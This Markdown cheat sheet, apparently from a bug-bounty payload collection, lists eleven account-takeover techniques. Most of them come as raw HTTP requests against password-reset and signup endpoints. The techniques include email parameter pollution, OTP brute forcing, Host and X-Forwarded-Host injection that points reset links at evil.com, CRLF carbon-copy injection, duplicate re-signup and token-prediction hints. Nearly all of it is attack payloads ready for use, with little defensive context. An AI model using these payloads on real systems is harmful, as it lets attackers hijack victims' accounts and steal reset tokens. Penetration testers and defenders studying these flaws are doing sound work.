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108 lines
2.1 KiB
Markdown
108 lines
2.1 KiB
Markdown
## Account Takeover
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1. Parameter pollution in reset password
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```
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POST /reset
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[...]
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email=victim@mail.com&email=hacker@mail.com
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```
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2. Bruteforce the OTP code
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```
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POST /reset
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[...]
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email=victim@mail.com&code=$123456$
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```
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3. Host header Injection
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```
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POST /reset
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Host: evil.com
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[...]
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email=victim@mail.com
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```
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```
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POST /reset
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Host: target.com
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X-Forwarded-Host: evil.com
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[...]
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email=victim@mail.com
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```
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And the victim will receive the reset link with evil.com
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4. Using separator in value of the parameter
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```
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POST /reset
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[...]
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email=victim@mail.com,hacker@mail.com
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```
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```
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POST /reset
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[...]
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email=victim@mail.com%20hacker@mail.com
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```
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```
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POST /reset
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[...]
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email=victim@mail.com|hacker@mail.com
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```
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```
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POST /reset
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[...]
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email=victim@mail.com%00hacker@mail.com
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```
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5. No domain in value of the paramter
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```
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POST /reset
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[...]
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email=victim
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```
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6. No TLD in value of the parameter
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```
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POST /reset
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[...]
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email=victim@mail
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```
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7. Using carbon copy
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```
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POST /reset
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[...]
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email=victim@mail.com%0a%0dcc:hacker@mail.com
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```
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8. Try re-sign up using same email
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```
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POST /newaccount
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[...]
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email=victim@mail.com&password=1234
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```
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After sign up using victim email, try signup again but using different password
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```
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POST /newaccount
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[...]
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email=victim@mail.com&password=hacked
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```
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9. If there is JSON data in body requests, add comma
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```
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POST /newaccount
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[...]
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{“email”:“victim@mail.com”,”hacker@mail.com”,“token”:”xxxxxxxxxx”}
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```
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10. Find out how the tokens generate
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- Generated based on TimeStamp
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- Generated based on the ID of the user
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- Generated based on the email of the user
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- Generated based on the name of the user
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> [For Example](https://medium.com/bugbountywriteup/how-i-discovered-an-interesting-account-takeover-flaw-18a7fb1e5359)
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11. Account takeover after login (Work if inside the website there is "Connect to facebook/twitter/etc")
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- First, login to the website using victim email
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- Find "Connect to facebook/twitter/googleplus" or something like that ]
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- Connect to attacker twitter
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- After logout you can login using the twitter
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